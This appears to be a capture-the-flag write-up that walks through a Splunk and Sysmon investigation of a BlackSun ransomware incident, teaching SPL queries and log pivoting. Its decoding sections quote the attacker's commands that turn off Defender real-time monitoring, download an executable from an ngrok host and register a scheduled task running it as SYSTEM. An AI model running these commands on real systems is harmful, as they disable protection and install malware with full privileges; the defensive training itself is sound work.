Introduction
This room places us in the role of a SOC Analyst working for an MSSP named TryNotHackMe.
A customer reports that suspicious activity occurred on Keegan's Windows machine on May 16, 2022. The computer is still operational, but some files have unusual extensions, which suggests that ransomware may have been executed.
Our goal is not simply to guess the answers.
We will investigate the attack logically using Splunk and reconstruct what happened from Windows telemetry.
By the end of this write-up, you should understand:
- what Splunk is doing,
- what the logs represent,
- what Sysmon Event IDs mean,
- how to search logs,
- how to move from one clue to another,
- how to recognize malicious activity,
- how to reconstruct an attack timeline,
- and how SOC analysts think during an investigation.
1. Understanding What We Are Investigating
Before writing any Splunk query, understand the situation.
We know only three important facts:
- The affected machine belongs to Keegan.
- The suspicious activity occurred on May 16, 2022.
- Some files now have strange extensions, suggesting possible ransomware activity.
We do not initially know:
- what malware was used,
- how it entered the machine,
- what downloaded it,
- whether privilege escalation occurred,
- what command-and-control server it contacted,
- what ransomware family was involved,
- or what files the attacker created.
The job of the analyst is therefore to reconstruct the sequence from logs.
2. What Is Splunk?
Splunk is a platform used to collect, search, correlate, and analyze logs.
A company may send Windows logs, firewall logs, authentication logs, antivirus logs, Sysmon logs, and many other data sources into Splunk.
Instead of manually reading thousands of logs, we use SPL, or Search Processing Language, to search them.
A very simple Splunk query looks like:
index=main
This means:
Search every event stored in the Splunk index named
main.
An index can be thought of as a searchable container holding logs.
3. Important SPL Concepts
Before starting the challenge, understand a few commands.
Searching a Field
index=main EventCode=3
Means:
Search the
mainindex and return only events whereEventCodeequals3.
Searching for Text
index=main "OUTSTANDING_GUTTER.exe"
Means:
Return events containing the text
OUTSTANDING_GUTTER.exe.
Wildcards
The * character means:
Match anything.
Example:
Image="*powershell.exe"
This can match:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
because the beginning of the path does not matter.
Displaying Important Fields
| table _time Image CommandLine User
table makes the results easier to read.
Instead of displaying the entire raw event, Splunk shows only:
_timeImageCommandLineUser
Sorting by Time
| sort _time
This sorts events chronologically.
That is extremely useful during incident response because attacks occur as a sequence.
Counting Values
| stats count by Image
This groups events by process and counts how often each process appears.
4. Understanding Sysmon
The dataset in this room contains Microsoft Sysmon telemetry.
Sysmon stands for:
System Monitor
Sysmon records detailed Windows activity such as:
- process creation,
- network connections,
- file creation,
- registry modification,
- DNS queries,
- file deletion.
Different activity types are represented using different Event IDs.
For this investigation, the most important ones are:
| EventCode | Meaning |
|---|---|
| 1 | Process Creation |
| 3 | Network Connection |
| 11 | File Creation |
| 22 | DNS Query |
| 23 | File Delete Archived |
Understanding these EventCodes is one of the most important skills in this room.
5. Set the Correct Time Range
The incident occurred on:
May 16, 2022
Set Splunk's time picker to approximately:
May 16, 2022 00:00:00
through
May 17, 2022 23:59:59
Using a wider range is safer when learning.
A common mistake is accidentally clicking a tiny area on Splunk's timeline. This can change the search window to only a few milliseconds.
If a valid query suddenly returns:
0 events
always check the time range before assuming the query is wrong.
6. First Look at the Dataset
Before hunting for malware, we can understand what kinds of logs exist.
index=main
| stats count by EventCode
| sort EventCode
This shows the different Sysmon EventCodes present in the dataset.
A SOC analyst often starts this way because it reveals what telemetry is available before performing deeper searches.
7. Question 1 — Identify the Suspicious Binary
Question
A suspicious binary was downloaded to the endpoint. What was the name of the binary?
We do not initially know the binary's name.
One useful approach is to examine network activity.
Sysmon:
EventCode 3 = Network Connection
Run:
index=main EventCode=3
There may be hundreds of results.
Instead of manually checking every event, group network connections by executable:
index=main EventCode=3
| stats count by Image
| sort - count
This asks:
Which executables created the most network connections?
A highly unusual process appears:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
This is suspicious for several reasons:
- it is running from
C:\Windows\Temp, - its filename is unusual,
- and it is responsible for a very large amount of network traffic.
To examine it further:
index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| table _time Image DestinationIp DestinationPort
| sort _time
Answer
OUTSTANDING_GUTTER.exe
8. Pivoting From One Clue to Another
We now know the malware filename.
This becomes our new search pivot.
Instead of searching everything, search specifically for:
OUTSTANDING_GUTTER.exe
Run:
index=main "OUTSTANDING_GUTTER.exe"
| table _time EventCode Image ParentImage CommandLine ParentCommandLine DestinationIp DestinationHostname DestinationPort
| sort _time
This is an important SOC technique.
You discover one indicator, then use that indicator to locate related events.
This process is called pivoting.
9. Discovering the Encoded PowerShell Command
Among the events, we find process creation activity involving:
powershell.exe
and:
schtasks.exe
The PowerShell command contains:
-exec bypass -enc
Example structure:
powershell.exe -exec bypass -enc <LONG_STRING>
The important part is:
-enc
This means:
PowerShell is executing a Base64-encoded command.
Attackers frequently encode PowerShell commands to make them harder to read directly from logs.
10. Decoding PowerShell -EncodedCommand
Copy the long Base64 value following:
-enc
Open CyberChef.
Use:
From Base64
If the result looks like corrupted or strange text, do not immediately assume the Base64 is invalid.
Windows PowerShell normally encodes -EncodedCommand content using:
UTF-16LE
Therefore use:
From Base64
↓
Decode text
↓
UTF-16LE
The command becomes readable.
The decoded PowerShell contains activity similar to:
This single decoded command reveals a large portion of the attack.
11. Understanding the Decoded Attack Command
The first command is:
Set-MpPreference -DisableRealtimeMonitoring $true
This disables Microsoft Defender real-time monitoring.
That is highly suspicious.
The attacker is attempting to reduce the chance that the malware will be detected.
The next part is:
wget http://886e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe -OutFile C:\Windows\Temp\OUTSTANDING_GUTTER.exe
This downloads the suspicious binary.
The remote server is:
886e-181-215-214-32.ngrok.io
and the malware is saved as:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
12. Question 2 — Determine Where the Binary Was Downloaded From
The decoded PowerShell gives us:
http://886e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe
The question asks for the address, not the complete file path.
Therefore:
http://886e-181-215-214-32.ngrok.io
must be defanged.
13. What Does Defanging Mean?
Security analysts avoid making malicious URLs directly clickable.
A normal URL:
http://malicious.example.com
may be transformed into:
hxxp[://]malicious[.]example[.]com
This is called defanging.
CyberChef can perform this using:
Defang URL
The accepted answer is:
hxxp[://]886e-181-215-214-32[.]ngrok[.]io
Answer
hxxp[://]886e-181-215-214-32[.]ngrok[.]io
14. Question 3 — What Executable Downloaded the Malware?
The decoded command says:
wget ...
A beginner may think the answer is:
wget.exe
But that would be incorrect.
In Windows PowerShell, wget is commonly an alias for:
Invoke-WebRequest
The actual Windows executable running the command is PowerShell.
We can verify it from Splunk.
index=main EventCode=1 Image="*powershell.exe"
| table _time Image CommandLine ParentImage ParentCommandLine
| sort _time
We see:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Another supporting event is the file creation event:
EventCode = 11
Image = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Answer
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
15. Question 4 — Configure the Malware to Run With Elevated Privileges
The decoded command also creates a Windows Scheduled Task.
To isolate scheduled task activity:
index=main EventCode=1 Image="*schtasks.exe" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
One event contains:
"C:\Windows\system32\schtasks.exe" /Create /TN OUTSTANDING_GUTTER.exe /TR C:\Windows\Temp\COUTSTANDING_GUTTER.exe /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU SYSTEM /f
Break the command down.
/Create
/Create
Creates a new Scheduled Task.
/TN
/TN OUTSTANDING_GUTTER.exe
Sets the task name.
/TR
/TR ...
Specifies what command/program the task should run.
/SC ONEVENT
/SC ONEVENT
Configures the task to trigger when a particular event occurs.
/EC Application
/EC Application
Monitors the Windows Application event log.
/MO *[System/EventID=777]
The task will trigger based on Windows Event ID 777.
/RU SYSTEM
/RU SYSTEM
This is the most important part.
It means:
Run the task using the Windows SYSTEM account.
/f
/f
Forces task creation.
The command therefore establishes elevated execution through Windows Task Scheduler.
16. Why SYSTEM Is Important
Windows contains a built-in account called:
NT AUTHORITY\SYSTEM
It has extremely high privileges.
It is commonly more privileged than a normal administrator account for local system operations.
Running malware as SYSTEM gives it significant control over the machine.
17. Question 5 — Confirm the Actual Privileges
Do not rely only on:
/RU SYSTEM
A good analyst verifies whether the malware actually executed as SYSTEM.
Search for process creation of the suspicious binary itself:
index=main EventCode=1 Image="*OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
Splunk returns:
User:
NT AUTHORITY\SYSTEM
and:
Image:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Therefore the malware truly executed with SYSTEM privileges.
Now find the command that triggered the scheduled task:
index=main EventCode=1 Image="*schtasks.exe" CommandLine="*/Run*" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine
| sort _time
We find:
"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe
The required answer format is:
User;CommandLine
Answer
NT AUTHORITY\SYSTEM;"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe
18. Understanding the Privilege Chain
The important distinction is:
DESKTOP-TBV8NEF\keegan
may execute the command that creates or triggers the task.
But the scheduled task itself is configured with:
/RU SYSTEM
Therefore the malware executes as:
NT AUTHORITY\SYSTEM
Attack chain:
Keegan's PowerShell
↓
schtasks /Create
↓
/RU SYSTEM
↓
Scheduled Task
↓
schtasks /Run
↓
OUTSTANDING_GUTTER.exe
↓
NT AUTHORITY\SYSTEM
19. Question 6 — Where Did the Malware Connect?
We already know the malicious binary generated many network connections.
Use:
index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| stats count by DestinationIp DestinationHostname DestinationPort
| sort - count
The malware connects to several IP addresses over:
DestinationPort = 443
Examples include:
3.17.7.232
3.14.182.203
3.134.39.220
3.134.125.175
3.22.30.40
However, DestinationHostname is empty.
This is where we must correlate another type of log.
20. DNS Queries and Sysmon EventCode 22
Sysmon:
EventCode 22 = DNS Query
DNS translates domain names into IP addresses.
Search:
index=main EventCode=22 "OUTSTANDING_GUTTER.exe"
| table _time Image ProcessId QueryName QueryStatus QueryResults
| sort _time
We find:
Image:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
with:
QueryName:
9030-181-215-214-32.ngrok.io
and several IP addresses in QueryResults.
This explains the different destination IPs from EventCode 3.
The malicious process repeatedly resolved the same domain, and the service returned different IP addresses.
This is an important example of correlation.
EventCode 3 told us:
Which IP addresses?
EventCode 22 told us:
Which domain name?
21. Question 6 Answer
Original domain:
http://9030-181-215-214-32.ngrok.io
Defanged:
hxxp[://]9030-181-215-214-32[.]ngrok[.]io
Answer
hxxp[://]9030-181-215-214-32[.]ngrok[.]io
22. Important Observation — Two Different Servers
Do not confuse these two domains.
Malware download server
886e-181-215-214-32.ngrok.io
Used to download:
OUTSTANDING_GUTTER.exe
Server contacted by the malware
9030-181-215-214-32.ngrok.io
This appears after the malware executes.
The attack therefore looks like:
PowerShell
↓
Download server
886e-181-215-214-32.ngrok.io
↓
OUTSTANDING_GUTTER.exe
↓
Execution
↓
Remote server
9030-181-215-214-32.ngrok.io
23. Question 7 — Identify the Downloaded PowerShell Script
The next clue says:
A PowerShell script was downloaded to the same location as the suspicious binary.
We already know that location:
C:\Windows\Temp\
Since we are looking for a created file, use:
EventCode 11 = File Creation
Search:
index=main EventCode=11 TargetFilename="C:\\Windows\\Temp\\*"
| table _time Image TargetFilename User
| sort _time
Several legitimate temporary files appear.
Examples include:
__PSScriptPolicyTest_*.ps1
__PSScriptPolicyTest_*.psm1
These are PowerShell-generated policy test files and should not automatically be treated as malware.
The interesting event is:
Image:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
and:
TargetFilename:
C:\Windows\Temp\script.ps1
We can narrow searches to .ps1:
index=main EventCode=11 TargetFilename="*.ps1"
| table _time Image TargetFilename User
| sort _time
Answer
script.ps1
24. Question 8 — Determine the Script's Real Malware Name
The filename:
script.ps1
is generic.
Attackers frequently rename malware.
We therefore need another identifying attribute.
Search:
index=main "script.ps1"
| table _time EventCode Image TargetFilename Hashes
| sort _time
An EventCode 23 event appears.
Remember:
EventCode 23 = File Delete Archived
The event contains cryptographic hashes for the file.
One of them is:
SHA256=E5429F2E44990B3D4E249C566FBF19741E671C0E40B809F87248D9EC9114BEF9
25. Why File Hashes Matter
A cryptographic hash acts like a digital fingerprint.
If two files have the same SHA-256 hash, they are effectively the same binary/file content for practical malware-identification purposes.
Security analysts can search hashes using threat intelligence services such as VirusTotal.
The SHA-256 identifies the PowerShell payload as:
BlackSun.ps1
Answer
BlackSun.ps1
26. Question 9 — Find the Ransom Note
Ransomware usually leaves instructions for the victim.
These files often contain words such as:
README
DECRYPT
RECOVER
RANSOM
and are frequently stored as .txt files.
Since the note was written to disk, use EventCode 11 again:
index=main EventCode=11 TargetFilename="*.txt"
| table _time Image TargetFilename User
| sort _time
Only one highly suspicious result appears:
C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
The filename itself strongly supports ransomware behavior:
BlackSun_README.txt
Answer
C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
27. Question 10 — Find the Ransomware Wallpaper
Many ransomware families modify the desktop wallpaper to tell the victim that their files were encrypted.
The question tells us an image was saved to disk.
We can search common image extensions:
index=main EventCode=11
(TargetFilename="*.jpg" OR TargetFilename="*.jpeg" OR TargetFilename="*.png" OR TargetFilename="*.bmp")
| table _time Image TargetFilename User
| sort _time
Splunk returns:
TargetFilename:
C:\Users\Public\Pictures\blacksun.jpg
The process creating it is:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
and the user is:
NT AUTHORITY\SYSTEM
Answer
C:\Users\Public\Pictures\blacksun.jpg
28. Complete Attack Timeline
We can now reconstruct the attack chronologically.
Stage 1 — PowerShell Execution
A PowerShell process executes an encoded command:
powershell.exe -exec bypass -enc ...
Stage 2 — Command Decoding
The Base64 command is decoded using:
From Base64
↓
UTF-16LE
Stage 3 — Defender Is Weakened
The attacker runs:
Set-MpPreference -DisableRealtimeMonitoring $true
Microsoft Defender real-time monitoring is disabled.
Stage 4 — Malware Download
PowerShell downloads:
OUTSTANDING_GUTTER.exe
from:
886e-181-215-214-32.ngrok.io
and stores it at:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Stage 5 — Scheduled Task Creation
The attacker uses:
schtasks.exe
to create a task associated with the malicious executable.
The critical option is:
/RU SYSTEM
Stage 6 — Elevated Execution
The task is started using:
"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe
The malicious binary subsequently runs as:
NT AUTHORITY\SYSTEM
Stage 7 — Command-and-Control Communication
The malware resolves:
9030-181-215-214-32.ngrok.io
and connects to multiple IP addresses on:
TCP/443
Stage 8 — Additional PowerShell Payload
A new PowerShell script appears:
C:\Windows\Temp\script.ps1
Stage 9 — Malware Identification
The script's SHA-256 hash identifies it as:
BlackSun.ps1
Stage 10 — Ransomware Artifacts
A ransom note is created:
C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
A ransomware wallpaper is also created:
C:\Users\Public\Pictures\blacksun.jpg
At this point, the evidence strongly confirms ransomware activity.
29. Final Investigation Chain
PowerShell
│
├── -exec bypass
│
└── -enc Base64
│
▼
Encoded command decoded
│
▼
Microsoft Defender real-time monitoring disabled
│
▼
OUTSTANDING_GUTTER.exe downloaded
│
▼
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
│
▼
Scheduled Task created
│
▼
/RU SYSTEM
│
▼
Malware executes as
NT AUTHORITY\SYSTEM
│
▼
DNS query
9030-181-215-214-32.ngrok.io
│
▼
HTTPS network connections
│
▼
script.ps1 created
│
▼
SHA-256 reputation lookup
│
▼
BlackSun.ps1
│
▼
Ransomware activity
┌───┴────────────────────┐
▼ ▼
BlackSun_README.txt blacksun.jpg
Ransom note Wallpaper
30. Final Answers
| # | Question | Answer |
|---|---|---|
| 1 | Suspicious binary | OUTSTANDING_GUTTER.exe |
| 2 | Download server | hxxp[://]886e-181-215-214-32[.]ngrok[.]io |
| 3 | Downloader executable | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| 4 | Elevated task configuration | Scheduled task created with schtasks.exe and /RU SYSTEM
|
| 5 | Privileges + execution command | NT AUTHORITY\SYSTEM;"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe |
| 6 | Remote server contacted | hxxp[://]9030-181-215-214-32[.]ngrok[.]io |
| 7 | Downloaded PowerShell script | script.ps1 |
| 8 | Actual malicious script | BlackSun.ps1 |
| 9 | Ransom note | C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt |
| 10 | Wallpaper | C:\Users\Public\Pictures\blacksun.jpg |
31. Core Splunk Queries From the Investigation
Discover available EventCodes
index=main
| stats count by EventCode
| sort EventCode
Identify executables making network connections
index=main EventCode=3
| stats count by Image
| sort - count
Investigate the suspicious executable
index=main "OUTSTANDING_GUTTER.exe"
| table _time EventCode Image ParentImage CommandLine ParentCommandLine DestinationIp DestinationHostname DestinationPort
| sort _time
Investigate PowerShell execution
index=main EventCode=1 Image="*powershell.exe"
| table _time Image CommandLine ParentImage ParentCommandLine
| sort _time
Investigate Scheduled Tasks
index=main EventCode=1 Image="*schtasks.exe" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
Find Scheduled Task /Run
index=main EventCode=1 Image="*schtasks.exe" CommandLine="*/Run*" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine
| sort _time
Verify Malware Privileges
index=main EventCode=1 Image="*OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
Investigate Malware Network Connections
index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| stats count by DestinationIp DestinationHostname DestinationPort
| sort - count
Investigate DNS Queries
index=main EventCode=22
| table _time Image ProcessId QueryName QueryStatus QueryResults
| sort _time
Find Files Created in Windows Temp
index=main EventCode=11 TargetFilename="C:\\Windows\\Temp\\*"
| table _time Image TargetFilename User
| sort _time
Find PowerShell Scripts
index=main EventCode=11 TargetFilename="*.ps1"
| table _time Image TargetFilename User
| sort _time
Find the Script Hash
index=main "script.ps1"
| table _time EventCode Image TargetFilename Hashes
| sort _time
Find Text Files
index=main EventCode=11 TargetFilename="*.txt"
| table _time Image TargetFilename User
| sort _time
Find Created Images
index=main EventCode=11
(TargetFilename="*.jpg" OR TargetFilename="*.jpeg" OR TargetFilename="*.png" OR TargetFilename="*.bmp")
| table _time Image TargetFilename User
| sort _time
32. The Most Important Lesson: Think in Pivots
The most important lesson from this room is not memorizing the answers.
It is learning how to move from one piece of evidence to another.
The investigation began with almost nothing:
Possible ransomware
We found:
Suspicious network process
which gave us:
OUTSTANDING_GUTTER.exe
That filename led us to:
PowerShell
PowerShell revealed:
Base64
Decoding Base64 revealed:
Download URL
Scheduled Task
SYSTEM privileges
The malware process then led us to:
Network connections
Network connections led us to:
DNS queries
File creation events revealed:
script.ps1
The script's hash revealed:
BlackSun.ps1
And additional file creation events revealed:
Ransom note
Wallpaper
That is how a SOC investigation should be approached.
Do not ask:
What query gives me the final answer?
Ask:
What do I currently know, and which log source can tell me what happened next?
33. A Beginner's SOC Investigation Mental Model
When investigating Windows incidents using Sysmon, remember this simple model:
What executed?
↓
EventCode 1
Where did it connect?
↓
EventCode 3
What domain did it resolve?
↓
EventCode 22
What files did it create?
↓
EventCode 11
What files were deleted?
↓
EventCode 23
Then correlate:
Process
↓
Parent process
↓
Command line
↓
Network
↓
DNS
↓
Files
↓
User
↓
Timeline
This method is far more valuable than memorizing individual Splunk commands.
34. Final Conclusion
The investigation confirms that Keegan's machine experienced ransomware-related malicious activity.
The attack used an encoded PowerShell command to disable Microsoft Defender real-time monitoring and download a suspicious executable named:
OUTSTANDING_GUTTER.exe
The attacker used Windows Task Scheduler to configure elevated execution under:
NT AUTHORITY\SYSTEM
The malware contacted an ngrok-hosted remote server and subsequently resulted in the creation of:
script.ps1
The script was identified as:
BlackSun.ps1
Further evidence included the ransom note:
C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
and ransomware wallpaper:
C:\Users\Public\Pictures\blacksun.jpg
The overall evidence confirms malicious PowerShell execution, security-control impairment, malware delivery, elevated execution, remote communication, secondary payload delivery, and ransomware artifacts.
The key skill demonstrated by this room is log correlation: using one IOC or event to locate the next part of the attack until the complete incident timeline becomes clear.
Top comments (0)